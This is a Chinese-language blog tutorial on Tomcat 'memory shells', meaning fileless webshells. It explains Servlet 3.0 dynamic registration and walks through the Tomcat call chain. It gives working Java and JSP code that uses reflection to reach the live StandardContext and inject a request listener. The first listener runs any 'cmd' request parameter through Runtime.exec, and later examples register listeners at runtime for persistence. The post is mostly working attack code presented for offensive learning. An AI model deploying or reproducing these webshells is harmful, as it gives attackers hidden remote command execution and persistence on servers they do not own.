tomcat动态注册内存马
去年10月学了一段时间内存马,并没有好好整理这段知识,今天重新梳理一下tomcat内存马的相关知识。
javax.servlet.ServletContext
首先为什么我们可以在容器中动态添加内存马,那是因为Servlet 3.0提供了动态注册这种机制,我们可以看到在javax.servlet.ServletContext接口中定义了如addServlet、addFilter、addListener这些接口。正因为有了这些接口,我们可以在具体的实现这些接口的类里面进行动态添加内存马。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public interface ServletContext { <T extends Servlet> T createServlet(Class<T> var1) throws ServletException; ServletRegistration.Dynamic addServlet(String var1, Class<? extends Servlet> var2);
FilterRegistration.Dynamic addFilter(String var1, Class<? extends Filter> var2); <T extends Filter> T createFilter(Class<T> var1) throws ServletException; void addListener(Class<? extends EventListener> var1);
<T extends EventListener> T createListener(Class<T> var1) throws ServletException; void addListener(Class<? extends EventListener> var1); }
|
当我们使用的容器是tomcat时,我们使用idea查找所有实现ServletContext接口的类我们发现有五个。在不了解tomcat是如何添加addServlet、addFilter、addListener前提下我们也可以知道,动态添加内存马的关键在这五个类里面。
tomcat注册Listener
Listener类都是实现了EventListener接口的类,所以实现类有很多,这里我们看一下实现了EventListener接口的ServletRequestListener接口。他有两个待实现函数,分别代表着request初始化时监听和request销毁时监听,非常适合做内存马。
1 2 3 4 5 6 7 8 9
| package javax.servlet;
import java.util.EventListener;
public interface ServletRequestListener extends EventListener { void requestDestroyed(ServletRequestEvent var1);
void requestInitialized(ServletRequestEvent var1); }
|
我们实现一个简单的ServletRequestListener看一下linsener是如何被调用的。这里我们写的是requestDestroyed,因为每次请求结束request对象就会被销毁,所以可以调用到我们的监听。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import javax.servlet.*; import javax.servlet.annotation.WebListener; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException;
@WebListener("/TestListener") public class shell_linsener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent s) { HttpServletRequest req = (HttpServletRequest) s.getServletRequest(); String cmd = req.getParameter("cmd"); try{ Field reqField = req.getClass().getDeclaredField("request"); reqField.setAccessible(true); Object reqObj = reqField.get(req); HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj); PrintWriter out = rep.getWriter();
out.println("linsener_resp_test"); }catch(NoSuchFieldException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e){ e.printStackTrace(); } catch (IOException e) { throw new RuntimeException(e); } if (cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } }
@Override public void requestInitialized(ServletRequestEvent s) { } }
|
我们在HttpServletRequest req = (HttpServletRequest) s.getServletRequest();这一行下断点。会发现调用链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| requestDestroyed:22, shell_linsener (org.hang.web_test) fireRequestDestroyEvent:6019, StandardContext (org.apache.catalina.core) invoke:177, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:698, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:367, CoyoteAdapter (org.apache.catalina.connector) service:639, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:885, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
|
fireRequestDestroyEvent调用了我们写的linsener,我们跟进fireRequestDestroyEvent看一下他是逻辑是怎么样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public boolean fireRequestDestroyEvent(ServletRequest request) { Object[] instances = this.getApplicationEventListeners(); if (instances != null && instances.length > 0) { ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
for(int i = 0; i < instances.length; ++i) { int j = instances.length - 1 - i; if (instances[j] != null && instances[j] instanceof ServletRequestListener) { ServletRequestListener listener = (ServletRequestListener)instances[j];
try { listener.requestDestroyed(event); } catch (Throwable var8) { ExceptionUtils.handleThrowable(var8); this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instances[j].getClass().getName()}), var8); request.setAttribute("javax.servlet.error.exception", var8); return false; } } } }
return true; }
|
关键代码Object[] instances = this.getApplicationEventListeners();意思是获取所有的linsener并形成数组,如果数组不为空,则执行每个数组的listener.requestDestroyed(event);
这里我们再继续看一下getApplicationEventListeners()这个方法。位于org.apache.catalina.core.StandardContext,可以看到返回的是applicationEventListenersList这个数组。
1 2 3
| public Object[] getApplicationEventListeners() { return this.applicationEventListenersList.toArray(); }
|
我们再看一下applicationEventListenersList这个列表是哪里来的。
可以看到他是一个CopyOnWriteArrayList数组,既然是数组我们就可以使用add方法进行添加。
1
| private List<Object> applicationEventListenersList = new CopyOnWriteArrayList();
|
所以我们在org.apache.catalina.core.StandardContext找一下哪里调用了applicationEventListenersList。add方法。
我们找到了两个地方可以调用add。
1 2 3 4 5 6 7 8 9 10 11
| public void setApplicationEventListeners(Object[] listeners) { this.applicationEventListenersList.clear(); if (listeners != null && listeners.length > 0) { this.applicationEventListenersList.addAll(Arrays.asList(listeners)); }
}
public void addApplicationEventListener(Object listener) { this.applicationEventListenersList.add(listener); }
|
学了反射我们有很多种方式可以在我们自己创建的StandardContext中添加我们的listeners(在我们的环境中)。下放列举一种例如:
1 2 3 4 5
| Class c = Class.forName("org.apache.catalina.core.StandardContext"); Constructor ct1 = c.getConstructor(); StandardContext obj = (StandardContext)ct1.newInstance(); ServletRequestListener listener = new ServletRequestListener() {} obj.addApplicationEventListener(listener);
|
但是由于tomcat架构的原因,我们不能这样操作,我们得添加到对方的StandardContext里面去。
那么如何才能获取到当前应用的StandardContext呢,也就是当前运行中tomcat的StandardContext呢。
还是看我们的调用链,我们在invoke:177, StandardHostValve (org.apache.catalina.core)//看这一行,跟进去一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| requestDestroyed:22, shell_linsener (org.hang.web_test) fireRequestDestroyEvent:6019, StandardContext (org.apache.catalina.core) invoke:177, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:698, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:367, CoyoteAdapter (org.apache.catalina.connector) service:639, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:885, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
|
发现他调用了context.fireRequestDestroyEvent
1 2 3
| if (!request.isAsync() && !asyncAtStart) { context.fireRequestDestroyEvent(request.getRequest()); }
|
然后我们再找一下context.fireRequestDestroyEvent的context是哪里来的,发现 Context context = request.getContext(); 也就是说可以通过当前应用的request来获取当前应用的context。
1 2 3 4 5 6
| public final void invoke(Request request, Response response) throws IOException, ServletException { Context context = request.getContext(); if (context == null) { if (!response.isError()) { response.sendError(404); }
|
我们去org.apache.catalina.connector.Request包里,也是可以发现存在getContext方法。
1 2 3
| public Context getContext() { return this.mappingData.context; }
|
也就是说我们可以通过Request来获取Context,那我们如何获取当前应用的Request呢。
JSP写Listener
首先我们先看jsp如何写Listener。因为jsp内置了Request,我们写个简单的程序下断点跟进一下。
1 2 3
| <% HttpSession s = request.getSession(); %>
|
我们可以看到请求的过程中存在request和response,他们的对象为RequestFacade
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| _jspService:16, test_jsp (org.apache.jsp) service:70, HttpJspBase (org.apache.jasper.runtime) service:765, HttpServlet (javax.servlet.http) service:465, JspServletWrapper (org.apache.jasper.servlet) serviceJspFile:383, JspServlet (org.apache.jasper.servlet) service:331, JspServlet (org.apache.jasper.servlet) service:765, HttpServlet (javax.servlet.http) internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) doFilter:52, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) invoke:197, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:543, AuthenticatorBase (org.apache.catalina.authenticator) invoke:135, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:698, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:367, CoyoteAdapter (org.apache.catalina.connector) service:639, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:885, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1693, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
|
我们查看一下RequestFacade,发现其存在Request变量。
1 2
| public class RequestFacade implements HttpServletRequest { protected Request request = null;}
|
所以这里我们可以通过反射RequestFacade获取Request。
1 2 3 4
| Field f = request.getClass().getDeclaredField("request"); f.setAccessible(true); Request req = (Request) f.get(request); StandardContext context = (StandardContext) req.getContext();
|
完整jsp代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <% Field f = request.getClass().getDeclaredField("request"); f.setAccessible(true); Request req = (Request) f.get(request); StandardContext context = (StandardContext) req.getContext(); ServletRequestListener listener = new ServletRequestListener() { @Override public void requestDestroyed(ServletRequestEvent sre) { } @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); try { Field reqField = req.getClass().getDeclaredField("request"); reqField.setAccessible(true); Object reqObj = reqField.get(req); HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj); PrintWriter out = rep.getWriter(); out.println("d_add_hack");
}catch (Exception e){ e.printStackTrace(); } } };
context.addApplicationEventListener(listener);
%>
|
访问jsp文件发现linsener成功添加。
Servlet写Listener
因为普通的Servlet继承了HttpServlet,里面包含HttpServletRequest和HttpServletResponse,我们发现具体实现类还是RequestFacade,那么我们可以和jsp一样的构造。访问即可成功添加Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| import org.apache.catalina.connector.Request; import org.apache.catalina.core.StandardContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException;
@WebServlet(value = "/test_StandardContext") public class Test_StandardContext extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Request req1 = null; try { Field f = req.getClass().getDeclaredField("request"); f.setAccessible(true); req1 = (Request) f.get(req);
StandardContext obj = (StandardContext) req1.getContext(); ServletRequestListener listener = new ServletRequestListener() { @Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); try { Field reqField = req.getClass().getDeclaredField("request"); reqField.setAccessible(true); Object reqObj = reqField.get(req); HttpServletResponse rep = (HttpServletResponse) reqObj.getClass().getDeclaredMethod("getResponse").invoke(reqObj); PrintWriter out = rep.getWriter(); out.println("d_add_hack");
} catch (Exception e) { e.printStackTrace(); } } }; obj.addApplicationEventListener(listener); } catch (IllegalAccessException e) { throw new RuntimeException(e); } catch (NoSuchFieldException e) { throw new RuntimeException(e); } } }
|
后记:当然还有其他方法获取StandardContext,但是不如上面使用的代码简便,下发贴了截图,有兴趣的可以自己调试一下。
当我们想反序列化写内存马的时候,或者想做命令执行回显的时候,我们也是需要获取到当前应用的StandardContext,或者是当前应用的request。我们下一篇学一下如何在目标当前线程中获取request。